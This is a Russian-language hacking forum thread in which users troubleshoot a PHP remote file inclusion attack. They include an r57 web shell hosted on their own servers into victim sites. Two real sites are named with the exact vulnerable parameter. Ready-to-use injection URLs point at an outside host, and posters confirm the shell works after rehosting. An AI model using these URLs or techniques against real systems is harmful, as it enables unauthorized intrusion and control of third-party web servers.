PHP-injection

Discussion in 'PHP' started by banall, 14 Oct 2006.

  1. banall

    banall New Member

    Joined:
    25 Jun 2006
    Messages:
    55
    Likes Received:
    3
    Reputations:
    0
    Кароче при запросе http://zhertva.com/index.php?page=http://site.ru/r57shell.txt

    выдает
    Warning: main(http:site.ru/r57shell.txt)

    куда деваются слэши? Что делать?
     
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    фильтры в скрипте стоят от таких как ты
     
  3. of69

    of69 New Member

    Joined:
    2 Jun 2006
    Messages:
    18
    Likes Received:
    4
    Reputations:
    11
    народ чего за ботва, чёйто йа не фкуриваю

    нашол пару сайтов вродебы с иньекциями

    http://www.orfw.org/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=
    http://www.m-culture.go.th/nan/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=

    там замудрёно заинклудил шелл - там в конце дописывается /styles//error.php
    ну я создал у ся на сайте диру styles а в ней файл error.php кодом шелла ( r57 )

    тоесть получилось так
    http://мой_сайт/styles/error.php

    заинклудил таким обраом

    http://www.m-culture.go.th/nan/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://мой_сайт/

    норм шелл отображается, но показывает диру на МОЁМ сайтенге и отказывается что либо выполнять...

    Обьясните плиззз что нетак я делаю и почему ничего неполучается, и как надо правельно?
     
  4. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    хмм.. у тебя лаги какие-то.
    Code:
    http://www.m-culture.go.th/nan/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://f4st.hotmail.ru
    все норм.
     
    1 person likes this.
  5. of69

    of69 New Member

    Joined:
    2 Jun 2006
    Messages:
    18
    Likes Received:
    4
    Reputations:
    11
    перезалил на другой хост - терь всё работает, пасиб)
     
  6. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> норм шелл отображается, но показывает диру на МОЁМ сайтенге и отказывается что либо выполнять...

    может, потому что на твоем сайте php поддерживается? )
     
    2 people like this.
  7. of69

    of69 New Member

    Joined:
    2 Jun 2006
    Messages:
    18
    Likes Received:
    4
    Reputations:
    11
    >>может, потому что на твоем сайте php поддерживается? )

    ну... эээ...

    /me ушол пить йат...